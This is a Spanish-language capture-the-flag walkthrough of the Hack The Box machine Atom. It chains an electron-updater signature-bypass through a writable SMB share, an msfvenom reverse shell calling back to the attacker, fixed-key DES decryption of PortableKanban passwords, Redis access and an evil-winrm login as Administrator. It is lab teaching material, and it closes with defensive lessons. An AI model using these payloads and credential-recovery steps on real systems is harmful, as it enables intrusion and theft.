Atom
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Atom sirve una app Electron (Heed) descargable. Analizando el.exe(7z →app-64.7z→.asar) se ve que usa electron-updater y unapp-update.ymlque apunta aupdates.atom.htb. Un share SMB (Software_Updates, accesible comoguest) acepta subir unlatest.yml: abusando del bypass de validación de firma de electron-updater (un'en el nombre del binario rompeGet-AuthenticodeSignaturey el updater hace fail-open) se logra RCE comojason. En su perfil, unPortableKanban.cfgguarda una contraseña cifrada que se descifra (kidvscat_yes_kidvscat), válida para autenticar en Redis. Una clave de Redis guarda la contraseña cifrada del Administrator, que tras descifrar (kidvscat_admin_@123) abre WinRM como administrador.
Reconocimiento
Ping
ping -c 1 10.10.10.237
PING 10.10.10.237 (10.10.10.237) 56(84) bytes of data.
64 bytes from 10.10.10.237: icmp_seq=1 ttl=127 time=101 msTTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
El barrido UDP de los cien puertos más comunes se despacha en dos segundos y deja la tabla vacía:
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.10.237 | grep -v 'no-response'
Initiating UDP Scan at 13:13
Scanning 10.10.10.237 [100 ports]
Completed UDP Scan at 13:13, 2.26s elapsed (100 total ports)
Nmap scan report for 10.10.10.237
Host is up, received user-set.
PORT STATE SERVICE REASON
Nmap done: 1 IP address (1 host up) scanned in 2.33 secondsSin nada por UDP, pasamos al TCP completo. El barrido lo lanza una función del .zshrc, y merece la pena enseñarla porque el nombre no dice nada de los flags que hay detrás:
jmap () {
echo -e "\n[+] Introduce una IP\n"
read ip
echo
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}Es la primera de las dos fases del escaneo de puertos: barrer los 65535 puertos TCP (-p-) con un SYN scan (-sS), sin DNS (-n) ni ping previo (-Pn, imprescindible contra Windows), guardando en formato grepeable (-oG scan).
jmap # 10.10.10.237
Not shown: 65528 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
443/tcp open https syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
6379/tcp open redis syn-ack ttl 127
7680/tcp open pando-pub syn-ack ttl 127Los 65 528 puertos restantes salen filtered, no closed: no es que no haya servicio, es que hay un cortafuegos descartando los paquetes sin responder. Y el ttl 127 de cada línea reconfirma Windows sobre TCP.
De los siete abiertos, dos llaman la atención en un Windows: el 6379 (Redis), que es una base de datos que normalmente vive en Linux, y el 5985 (WinRM), que es una vía de acceso directa si conseguimos credenciales. Los apuntamos y seguimos.
extractPorts scan
Extracting information ...
IP Address: 10.10.10.237
Open ports: 80,135,443,445,5985,6379,7680
Ports copied to clipboardLa segunda fase identifica servicios y versiones:
nmap -p80,135,443,445,5985,6379,7680 -sCV 10.10.10.237
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: Heed Solutions
135/tcp open msrpc Microsoft Windows RPC
443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
6379/tcp open redis Redis key-value storeUn Windows 10 Pro en grupo de trabajo (no hay dominio) con Apache y PHP, que es una combinación poco habitual y sugiere que la web es un montaje propio, no un IIS corporativo.
HTTP - TCP 80: tecnologías
whatweb http://10.10.10.237
http://10.10.10.237 [200 OK] Apache[2.4.46], Bootstrap, Country[RESERVED][ZZ],
Email[MrR3boot@atom.htb], HTML5, HTTPServer[Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27],
IP[10.10.10.237], OpenSSL[1.1.1j], PHP[7.3.27], Script, Title[Heed Solutions]Aquí está el hallazgo que hace avanzar todo: Email[MrR3boot@atom.htb]. El dominio no aparece en una redirección ni en un certificado, sino en una dirección de correo dentro de la página. Es un recordatorio de que whatweb no solo detecta tecnologías, también extrae correos, y un correo es un nombre de dominio.

Web servers: Apache HTTP Server 2.4.46
Programming languages: PHP 7.3.27
Operating systems: Windows Server
Web server extensions: OpenSSL 1.1.1j
UI frameworks: Bootstrap 5.0.0Que corra PHP es un dato operativo: significa que los ficheros .php son candidatos válidos en el fuzzing posterior, cosa que no ocurriría con un sitio estático.
nano /etc/hosts
cat /etc/hosts
9 10.10.10.237 atom.htb
Heed | A Leading Software Organization
We make software to help people in their daily routines. We bring the best to the market.La web es la de una empresa que vende Heed, una aplicación de notas de escritorio. Antes de fuzzear, el código fuente:

<h1 class="mb-4" style="color:white;">Heed | A Leading Software Organization</h1>
...
<a class="btn btn-outline-dark font-weight-bold" href="#" role="button">Download for Mac</a>
<p class="card-text text-muted small">Coming soon</p>
...
<a class="btn btn-primary mb-2 font-weight-bold" href="/releases/heed_setup_v1.0.0.zip" role="button">
...
<a class="btn btn-outline-dark mb-2 font-weight-bold" href="#" role="button">Download for Linux</a>
<p class="card-text text-muted small">Coming soon</p>De las tres tarjetas de descarga, solo la de Windows tiene enlace real: /releases/heed_setup_v1.0.0.zip. Las de Mac y Linux apuntan a # con un "Coming soon". Es decir, el código fuente ya nos entrega la ruta antes de lanzar ningún fuzzer; el escaneo posterior solo va a confirmarla.
Descubrimiento de rutas
dirsearch -u http://10.10.10.237/ --exclude-status=403,404,500,503
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://10.10.10.237/
[13:29:02] Starting:
[13:29:44] 301 - 338B - /images -> http://10.10.10.237/images/
[13:29:44] 200 - 984B - /images/
[13:30:02] 301 - 340B - /releases -> http://10.10.10.237/releases/
Task CompletedSolo dos rutas en 11 460 palabras, y una de ellas es la que ya habíamos leído en el HTML. El fuzzing de rutas aquí no descubre nada nuevo, pero sí confirma que no hay nada más escondido, que es información igual de útil: el vector no está en una ruta oculta.

Index of /releases
Name Last modified Size
Parent Directory -
heed_setup_v1.0.0.zip 2021-04-09 05:00 44M
Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27 Server at atom.htb Port 80El directorio tiene listado activado, así que confirmamos que ese .zip de 44 MB es el único fichero. Descargarlo nos da exactamente el mismo software que corre la empresa, que es el mejor punto de partida posible: podemos analizarlo con calma en local, sin tocar la máquina.
Análisis del binario
El instalador
cp /home/krmena/Downloads/heed_setup_v1.0.0.zip .
unzip heed_setup_v1.0.0.zip
ls
Archive: heed_setup_v1.0.0.zip
inflating: heedv1 Setup 1.0.0.exe
# ls
heed_setup_v1.0.0.zip 'heedv1 Setup 1.0.0.exe'Antes de destriparlo conviene verlo funcionar, porque el comportamiento en tiempo de ejecución señala dónde mirar. Lo servimos a una máquina Windows de laboratorio:
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Directory listing for /
heedv1 Setup 1.0.0.exe
Descargas: heedv1 Setup 1.0.0.exe 44,4 MB - Hecho
Heed v1.0.0
Notes:
• holaa
[Creating Note] Enter Note: holaa [Create Note]
Error in auto-updater.
Powered by HTBConfirmado que es la misma aplicación de la web: crea y borra notas, poco más. Pero abajo a la derecha aparece Error in auto-updater., y ese mensaje es el hilo del que tirar: significa que la aplicación intenta buscar actualizaciones por red y falla porque en nuestro laboratorio no encuentra el servidor. Si buscarlas es una operación de red, es una superficie de ataque.
Desempaquetar el .exe
Muchos ejecutables son en realidad contenedores. 7z reconoce esas estructuras y las lista sin ejecutar el programa, que es justo lo que queremos con un binario ajeno:
7z l "heedv1 Setup 1.0.0.exe" | tail -n 30
Date Time Attr Size Compressed Name
---------- -------- ------ --------- ----------- ------------------------
..... 6921 $PLUGINSDIR/System.dll
..... 42421 $PLUGINSDIR/StdUtils.dll
2021-04-09 11:37:24 ..... 46103281 46103281 $PLUGINSDIR/app-64.7z
..... 113510 Uninstall heedv1.exe
------------------------------------------------------------------------
46103281 46493587 8 filesUn fichero se lleva 46 MB de los 46: app-64.7z. Ahí está la aplicación entera. Para llegar a él hay que extraer primero el instalador:
7z x "heedv1 Setup 1.0.0.exe" &>/dev/null
ls
'$PLUGINSDIR' 'Uninstall heedv1.exe' 'heedv1 Setup 1.0.0.exe'cd '$PLUGINSDIR'
7z x app-64.7z
ls
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
Scanning the drive for archives:
1 file, 46103281 bytes (44 MiB)
Extracting archive: app-64.7z
--
Path = app-64.7z
Type = 7z
Physical Size = 46103281
Method = LZMA2:20 LZMA:20 BCJ2
Everything is Ok
Folders: 71
Files: 267
Size: 167432973
Compressed: 46103281
# ls
LICENSE.electron.txt System.dll VkLayer_parameter_validation.dll app-64.7z ffmpeg.dll libGLESv2.dll nsis7z.dll swiftshader
LICENSES.chromium.html VkICD_mock_icd.dll VkLayer_threading.dll chrome_100_percent.pak heedv1.exe locales resources.pak v8_context_snapshot.bin
SpiderBanner.dll VkLayer_core_validation.dll VkLayer_unique_objects.dll chrome_200_percent.pak icudtl.dat natives_blob.bin resources
StdUtils.dll VkLayer_object_tracker.dll WinShell.dll d3dcompiler_47.dll libEGL.dll nsProcess.dll snapshot_blob.binLos nombres del listado ya delatan la tecnología antes de abrir nada: LICENSES.chromium.html, v8_context_snapshot.bin, natives_blob.bin y ffmpeg.dll son piezas de Chromium. Una aplicación de escritorio que empaqueta un navegador entero es, casi seguro, Electron.
El código de la aplicación
ls resources
asar l resources/app.asar
# ls resources
app-update.yml app.asar electron.asar elevate.exe inspector
# asar l resources/app.asar
/createNote.html
/main.js
/package.json
/version.html
/icons
/icons/ico.png
/node_modules
/node_modules/argparse
/node_modules/argparse/LICENSELos ficheros .asar (Atom Shell Archive) confirman Electron, y uno de ellos se llama literalmente electron.asar. asar l lista el contenido sin extraerlo, y ahí está main.js, el punto de entrada del proceso principal:

function createDefaultWindow() {
win = new BrowserWindow({
webPreferences: {
nodeIntegration: true,
},
icon: path.join(__dirname, 'icons/ico.png')
});
win.loadURL(`file://${__dirname}/version.html#v${app.getVersion()}`);
win.on('closed', function(){
app.quit();
});
return win;
}Bajando en el fichero aparecen las funciones de actualización, y con ellas la explicación del mensaje que habíamos visto en la ventana:

autoUpdater.on('checking-for-update', () => {
sendStatusToWindow('Checking for update ... ');
})
autoUpdater.on('update-available', (ev, info) => {
sendStatusToWindow('Update available.');
})
autoUpdater.on('update-not-available', (ev, info) => {
sendStatusToWindow('Update not available.');
})
autoUpdater.on('error', (ev, err) => {
sendStatusToWindow('Error in auto-updater.');
})
autoUpdater.on('download-progress', (ev, progressObj) => {
sendStatusToWindow('Download progress ... ');
})
autoUpdater.on('update-downloaded', (ev, info) => {
sendStatusToWindow('Update downloaded; Installing the update ... ');
})Círculo cerrado: el Error in auto-updater. que veíamos en la esquina sale de autoUpdater.on('error', ...). La aplicación usa electron-updater, y en nuestro laboratorio fallaba porque no había servidor de actualizaciones al que preguntar. ¿Cuál es ese servidor? Lo dice el fichero de configuración que vimos junto a los .asar:
cat resources/app-update.yml
provider: generic
url: 'http://updates.atom.htb'
publisherName:
- HackTheBoxTres líneas y las tres importan. provider: generic significa que las actualizaciones no vienen de una tienda ni de GitHub, sino de un servidor HTTP corriente. url revela un subdominio nuevo, updates.atom.htb. Y publisherName es el nombre con el que se comparará el certificado del binario de actualización, es decir, el mecanismo de seguridad que habrá que sortear.
nano /etc/hosts
cat /etc/hosts
9 10.10.10.237 atom.htb updates.atom.htb
http://updates.atom.htb
Heed Solutions
Heed | A Leading Software OrganizationEl subdominio devuelve la misma web, así que no hay un vhost distinto que enumerar. No es un callejón sin salida, es un dato: el nombre existe y resuelve, pero el canal de actualización tiene que llegar por otra vía. Toca mirar el resto de servicios.
SMB - TCP 445: el canal de actualización
netexec smb 10.10.10.237 -u 'guest' -p '' --shares
smbclient //10.10.10.237/Software_Updates
Share Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
C$ Default share
IPC$ READ Remote IPC
Software_Updates READ,WRITELa sesión nula no vale, pero guest con contraseña vacía sí, y ahí está la sorpresa: Software_Updates con READ,WRITE. Un recurso escribible por un usuario invitado ya sería grave; que además se llame igual que el mecanismo de actualización que acabamos de encontrar en el código es demasiada coincidencia.
Dentro hay tres carpetas client1, client2, client3 y un PDF, UAT_Testing_Procedures.pdf, que explica el procedimiento interno:

Features ?
Very limited at the moment. There's no server interaction when creating notes. So
currently it just acts as a one-tier thick client application. ...
What about QA ?
We follow the below process before releasing our products.
1. Build and install the application to make sure it works as we expect it to be.
2. Make sure that the update server running is in a private hardened instance. To
initiate the QA process, just place the updates in one of the "client" folders, and
the appropriate QA team will test it to ensure it finds an update and installs it
correctly.
3. Follow the checklist to see if all given features are working as expected by the developer.El punto 2 lo dice todo: basta con dejar la actualización en una de las carpetas client para que el equipo de QA la instale. Eso es un simulador de usuario que ejecutará lo que subamos. Ya tenemos el mecanismo (electron-updater), el canal (SMB escribible) y el disparador (QA). Falta la vulnerabilidad.
Shell como jason
Bypass de firma de electron-updater
La referencia es el análisis de Doyensec, Electron-updater update signature bypass:

A Fail Open Design
The signature verification check performed by electron-builder is simply based on a string
comparison between the installed binary's publisherName and the certificate's Common Name
attribute of the update binary. During a software update, the application will request a file
named latest.yml from the update server, which contains the definition of the new release -
including the binary filename and hashes.
execFile("powershell.exe", ["-NoProfile", "-NonInteractive", "-InputFormat", "None",
"-Command", `Get-AuthenticodeSignature '${tempUpdateFile}' | ConvertTo-Json -Compress`], {
logger.warn(`Cannot execute Get-AuthenticodeSignature: ${error}. Ignoring signature
validation due to unknown error.`)
resolve(null)
return
which translates to the following PowerShell command:
powershell.exe -NoProfile -NonInteractive -InputFormat None -Command "Get-AuthenticodeSignature
'C:\Users\<USER>\AppData\Roaming\<vulnerable app name>\__update__\<update name>.exe' |
ConvertTo-Json -Compress"
Since the ${tempUpdateFile} variable is provided unescaped to the execFile utility, an attacker
could bypass the entire signature verification by triggering a parse error in the script. This
can be easily achieved by using a filename containing a single quote and then recalculating the
file hash to match the attacker-provided binary (using shasum -a 512 maliciousupdate.exe |
cut -d " " -f1 | xxd -r -p | base64).El fallo tiene tres piezas encadenadas. Primero, la validación se delega en PowerShell construyendo un comando por concatenación de cadenas, con el nombre del fichero entre comillas simples. Segundo, ese nombre se inserta sin escapar, así que una comilla simple dentro de él rompe la sintaxis: Get-AuthenticodeSignature 'r'everse.exe' no es un comando válido. Y tercero, y esto es lo grave, cuando PowerShell devuelve error el código lo registra con un logger.warn que dice literalmente "Ignoring signature validation due to unknown error" y sigue adelante. Es el patrón fail-open: ante un fallo de verificación, en vez de abortar, acepta.
Antes de montar el ataque completo hacemos una prueba de concepto mínima: un latest.yml que apunte a nuestra máquina, para confirmar que QA lo lee y que el objetivo nos hace la petición.
nano latest.yml
cat latest.ymlsmbclient //10.10.10.237/Software_Updates -N
cd client1
put latest.yml
python3 -m http.server 80
File: latest.yml
1 version: 1.2.3
2 files:
3 - url: http://10.10.16.6/test
4 sha512: 1234
# smbclient //10.10.10.237/Software_Updates -N
smb: \> cd client1
smb: \client1\> put latest.yml
putting file latest.yml as \client1\latest.yml (0.1 kB/s) (average 0.1 kB/s)
smb: \client1\> exit
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.237 - - [24/Nov/2025 02:36:41] code 404, message File not found
10.10.10.237 - - [24/Nov/2025 02:36:41] "GET /test.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [24/Nov/2025 02:36:42] code 404, message File not found
10.10.10.237 - - [24/Nov/2025 02:36:42] "GET /test HTTP/1.1" 404 -Funciona. La máquina lee nuestro latest.yml y sale a buscar el fichero a nuestro servidor. Las dos peticiones tienen su explicación: electron-updater intenta primero /test.blockmap, un fichero de descarga diferencial que le permitiría bajar solo los bloques cambiados, y al no encontrarlo (404) recurre a descargar el binario entero. Que el sha512: 1234 sea basura no importa todavía, porque ni siquiera llega a validar nada: no hay fichero que validar.
Ahora el ataque real. Generamos la reverse shell con el ' en el nombre y calculamos su SHA-512, porque el hash sí se comprueba antes de la firma:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.6 LPORT=443 -f exe -o "r'everse.exe"
sha512sum "r'everse.exe"
Payload size: 324 bytes
Final size of exe file: 7168 bytes
Saved as: r'everse.exe
08ecd9329967a5f0a4db1a249400459096ef18bd4607e078e8a43c2444a276a3388d63e901600db566ec814111b28178008344e7e945b7b9c150b457bbe46696 r'everse.exeEse hash hay que meterlo en el latest.yml en base64, no en hexadecimal, que es el formato que espera electron-updater (de ahí el xxd -r -p | base64 del artículo de Doyensec).
Preparamos el listener antes de subir nada, porque en cuanto QA pase, la conexión llega sin avisar:
penelope
listeners add -p 443smbclient //10.10.10.237/Software_Updates -N
cd client1
put latest.yml
python3 -m http.server 80
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.237 - - [24/Nov/2025 02:58:18] code 404, message File not found
10.10.10.237 - - [24/Nov/2025 02:58:18] "GET /r'everse.exe.blockmap HTTP/1.1" 404 -
10.10.10.237 - - [24/Nov/2025 02:58:19] "GET /r%27everse.exe HTTP/1.1" 200 -
(Penelope)> listeners add -p 443
[+] Listening for reverse shells on 0.0.0.0:443 → 127.0.0.1 • 192.168.1.80 • 172.17.0.1 • 172.18.0.1 • 10.10.16.6
[+] Got reverse shell from ATOM~10.10.10.237-Microsoft_Windows_10_Pro-x64-based_PC 😍 Assigned SessionID <1>
(Penelope)> sessions 1
[+] Added readline support ...
[+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D
C:\WINDOWS\system32>whoami
whoami
atom\jasonEn el log del servidor se ve la secuencia completa: el .blockmap da 404 (igual que en la PoC) y acto seguido GET /r%27everse.exe devuelve 200, con la comilla ya codificada en la URL. Ese 200 es el binario saliendo hacia la víctima; el resto lo hace el propio updater, que verifica el hash (correcto), intenta verificar la firma (error de sintaxis) y lo ejecuta igualmente.
Shell como atom\jason.
type jason\Desktop\user.txt
C:\Users>type jason\Desktop\user.txt
44f37b5482ee03ec20c7bd0db5b9e3f6Escalada de privilegios
PortableKanban: una contraseña cifrada
Lo primero en un perfil de usuario es mirar qué hay instalado o descargado, porque el software de terceros suele guardar credenciales:
dir C:\Users\jason
dir jason\Downloads
Directory of C:\Users\jason
04/13/2021 01:35 AM <DIR> .config
04/01/2021 02:57 AM <DIR> 3D Objects
...
04/02/2021 07:00 AM <DIR> Downloads
...
16 Dir(s) 5,620,781,056 bytes free
C:\Users>dir jason\Downloads
Directory of C:\Users\jason\Downloads
03/31/2021 01:36 AM <DIR> node_modules
04/02/2021 07:21 PM <DIR> PortableKanban
4 Dir(s) 5,620,781,056 bytes freePortableKanban, un gestor de tareas portable. El node_modules de al lado encaja con el desarrollador de la app Electron, pero lo interesante es el otro:
dir jason\Downloads\PortableKanban
type jason\Downloads\PortableKanban\PortableKanban.cfg
Directory of C:\Users\jason\Downloads\PortableKanban
04/02/2021 06:44 AM <DIR> Files
04/02/2021 06:17 AM <DIR> Plugins
04/02/2021 07:22 PM 5,920 PortableKanban.cfg
01/04/2018 08:12 PM 1,878,440 PortableKanban.exe
04/02/2021 06:21 AM 172 PortableKanban.pk3.lock
09/06/2017 11:02 AM 292,352 ServiceStack.Redis.dll
19 File(s) 5,656,416 bytes
C:\Users>type jason\Downloads\PortableKanban\PortableKanban.cfg
{"RoamingSettings":{"DataSource":"RedisServer","DbServer":"localhost","DbPort":6379,
"DbEncPassword":"Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb","DbServer2":"","DbPort2":6379,
"DbEncPassword2":"","DbIndex":0,"DbSsl":false,"DbTimeout":10,"FlushChanges":true, ...Este fichero une los dos cabos sueltos de la máquina. Tiene una contraseña cifrada (DbEncPassword) y, sobre todo, dice que "DataSource":"RedisServer" en localhost:6379. Es decir, la contraseña que guarda no es de la aplicación: es la del Redis que llevamos viendo abierto desde el primer escaneo, y que hasta ahora no sabíamos cómo tocar. El ServiceStack.Redis.dll del listado lo confirma.
Descifrar la contraseña
searchsploit 'PortableKanban'
searchsploit -m windows/local/49409.py
Exploit Title | Path
----------------------------------------------------------------------+----------------------
PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval | windows/local/49409.py
Shellcodes: No Results
Papers: No Results
# searchsploit -m windows/local/49409.py
Exploit: PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval
URL: https://www.exploit-db.com/exploits/49409
Path: /usr/share/exploitdb/exploits/windows/local/49409.py
Codes: N/A
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/krmena/machines/atom/exploits/49409.pyAntes de ejecutar código ajeno conviene leerlo, y en este caso además explica el mecanismo:
cat -l py 49409.py
import json
import base64
from des import * #python3 -m pip install des
import sys
try:
path = sys.argv[1]
except:
exit("Supply path to PortableKanban.pk3 as argv1")
def decode(hash):
hash = base64.b64decode(hash.encode('utf-8'))
key = DesKey(b"7ly6UznJ")
return key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8')
with open(path) as f:
try:
data = json.load(f)
except: #Start of file sometimes contains junk - this automatically seeks valid JSON
...
for user in data["Users"]:
print("{}:{}".format(user["Name"],decode(user["EncryptedPassword"])))Aquí no hay ningún truco criptográfico: PortableKanban no cifra, ofusca. Aplica DES con una clave (7ly6UznJ) y un IV (XuVUm5fR) fijos y embebidos en el propio programa, así que cualquiera que tenga el binario tiene la clave. El resultado se guarda en base64, que ni siquiera es cifrado.
El script espera un fichero PortableKanban.pk3, pero en el directorio de la víctima ese fichero aparecía como PortableKanban.pk3.lock: la aplicación está en marcha y lo tiene bloqueado. No importa, porque el hash ya lo tenemos del .cfg, así que basta con recortar el script para que descifre esa cadena directamente:
python3 -m pip install des --break-system-packages
cat 49409.py
python3 49409.py
import json
import base64
from des import * #python3 -m pip install des
import sys
hash = "Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb"
hash = base64.b64decode(hash.encode('utf-8'))
key = DesKey(b"7ly6UznJ")
print(key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8'))kidvscat_yes_kidvscatkidvscat_yes_kidvscat. No hay ningún panel web donde probarla, pero el propio .cfg ya nos dijo para qué sirve.
Redis: la contraseña del Administrator
apt install redis
Installing:
redis
Installing dependencies:
liblzf1 redis-server redis-tools
Summary:
Upgrading: 0, Installing: 4, Removing: 0, Not Upgrading: 50redis-cli -h 10.10.10.237 -a kidvscat_yes_kidvscat
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
10.10.10.237:6379>El prompt 10.10.10.237:6379> es la prueba de que la contraseña era efectivamente la de Redis. Como el servicio no es del día a día, conviene tener a mano la sintaxis:

SELECT 1 [ ... Indicate the database ... ]
KEYS * [ ... Get Keys ... ]
GET <KEY> [ ... Get Key ... ]
In case you get the following error -WRONGTYPE Operation against a key holding the wrong kind
of value while running GET <KEY> it's because the key may be something else than a string or an
integer and requires a special operator to display it.
TYPE <KEY> [ ... Type of the Key ... ]
LRANGE <KEY> 0 -1 [ ... Get list items ... ]
HGET <KEY> <FIELD> [ ... Get hash item ... ]El detalle que ahorra tiempo es el del WRONGTYPE: en Redis el tipo de cada clave determina el comando con el que se lee, así que lo correcto es preguntar el tipo antes de intentar leerla (enumeración de Redis):
KEYS *
TYPE pk:ids:User
TYPE pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
GET pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
10.10.10.237:6379> KEYS *
1) "pk:ids:User"
2) "pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"
3) "pk:ids:MetaDataClass"
4) "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"
10.10.10.237:6379> TYPE pk:ids:User
set
10.10.10.237:6379> TYPE pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
string
10.10.10.237:6379> GET pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
"{\"Id\":\"e8e29158d70d44b1a1ba4949d52790a0\",\"Name\":\"Administrator\",\"Initials\":\"\",
\"Email\":\"\",\"EncryptedPassword\":\"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi\",\"Role\":\"Admin\",
\"Inactive\":false,\"TimeStamp\":637530169606440253}"El prefijo pk: de todas las claves es de PortableKanban: la aplicación usa este Redis como su base de datos, y guarda ahí los usuarios. Uno de ellos se llama Administrator con Role: Admin y su propio EncryptedPassword, cifrado con el mismo esquema DES de clave fija. Nótese que ambos hashes empiezan igual (Odh7N3L9aV...): DES cifra por bloques de 8 bytes, así que si los dos primeros ocho caracteres del texto claro coinciden (kidvscat), el primer bloque cifrado también.
Cambiamos el hash en el script y lo volvemos a lanzar:
nano 49409.py
cat 49409.py
python3 49409.py
hash = "Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi"
hash = base64.b64decode(hash.encode('utf-8'))
key = DesKey(b"7ly6UznJ")
print(key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8'))kidvscat_admin_@123WinRM como Administrator
Antes de conectar, validamos la credencial en los dos servicios donde puede servir:
netexec smb 10.10.10.237 -u 'Administrator' -p 'kidvscat_admin_@123' 2>/dev/null
netexec winrm 10.10.10.237 -u 'Administrator' -p 'kidvscat_admin_@123' 2>/dev/null
evil-winrm -i 10.10.10.237 -u Administrator -p kidvscat_admin_@123
SMB 10.10.10.237 445 ATOM [+] ATOM\Administrator:kidvscat_admin_@123 (Pwn3d!)
WINRM 10.10.10.237 5985 ATOM [+] ATOM\Administrator:kidvscat_admin_@123 (Pwn3d!)
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
atom\administratorEl (Pwn3d!) en WinRM es lo que garantiza que evil-winrm va a funcionar: la contraseña de una aplicación de gestión de tareas resultó ser también la del administrador local del sistema.
type ..\Desktop\root.txt
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
0de854686d5bdb5bf65ded7de0a0bedcCadena de ataque
TTL 127 (Windows) ─▶ nmap: 80/445/5985/6379 ...
│ whatweb: Email[MrR3boot@atom.htb] ─▶ web Heed (Electron) ─▶ /releases ─▶ heed_setup.zip
▼
análisis .exe (7z ─▶ app-64.7z ─▶ .asar ─▶ main.js) ─▶ electron-updater + updates.atom.htb
│ SMB guest: Software_Updates (WRITE) + PDF UAT (QA instala lo que se deje ahí)
▼
latest.yml + r'everse.exe (bypass Get-AuthenticodeSignature) ─▶ shell jason ─▶ user.txt
│ PortableKanban.cfg (DataSource: RedisServer) ─▶ DES clave fija ─▶ kidvscat_yes_kidvscat
▼
Redis auth ─▶ clave pk:urn:user ─▶ EncryptedPassword del Administrator ─▶ kidvscat_admin_@123
▼
evil-winrm Administrator ─▶ root.txtLecciones aprendidas
- Analizar binarios revela arquitectura y secretos. Un instalador Electron es un contenedor:
7zyasarexponen el código (main.js), la config (app-update.yml) y el mecanismo de actualización, que resultó ser el vector. Y ejecutarlo primero en un laboratorio fue lo que señaló dónde mirar, gracias alError in auto-updaterde la esquina. - Un share de escritura en el canal de actualización es crítico. Permitir a
guestsubir ellatest.yml/binario que QA ejecutará convierte la actualización en RCE. Restringir permisos SMB y firmar y verificar de verdad las actualizaciones. - Fail-open en validación de firmas. electron-updater construía el comando de PowerShell concatenando el nombre del fichero sin escapar y, ante el error de sintaxis provocado por un
', registraba un aviso y aceptaba el binario. Validar de forma fail-closed: ante cualquier error de verificación, abortar. - Cifrado reversible con clave fija no es cifrado. PortableKanban "cifra" con DES y una clave e IV embebidos en el programa: cualquiera con el binario recupera la contraseña. Y la misma clave reaparece en Redis y como contraseña del Administrator: reutilización en cadena.
- Un fichero de configuración señala el siguiente servicio. El
PortableKanban.cfgno solo guardaba la contraseña, decía en la línea de al lado que la base de datos eraRedisServeren el 6379. El puerto llevaba abierto desde el primer escaneo, pero fue esa línea la que explicó para qué servía la credencial.